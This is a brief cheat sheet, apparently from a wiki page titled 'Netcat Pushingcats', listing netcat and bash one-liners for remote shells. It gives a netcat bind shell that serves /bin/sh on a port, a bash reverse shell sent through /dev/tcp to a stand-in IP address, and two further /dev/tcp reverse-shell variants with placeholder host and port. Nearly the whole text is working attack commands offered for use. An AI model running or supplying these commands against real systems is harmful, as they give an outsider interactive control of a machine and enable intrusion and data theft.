Netcat Pushingcats
From MS Computech
Basic Netcat
Listen connection shell Server1:
nc -l -p 8888 -e /bin/sh
Server2:
nc 222.222.222.222 8888
Netcat Send connection.
Listenner
#nc -l -n -vv -p 8888
Sender
#/bin/bash -i > /dev/tcp/22.222.22.222/8888 0<&1 2>&1
Another method of reverse shell in bash
1st method, you get the prompt “as if you were here”, but commands are echoed :
exec 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
2nd method, less sexy, but no echo.
/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2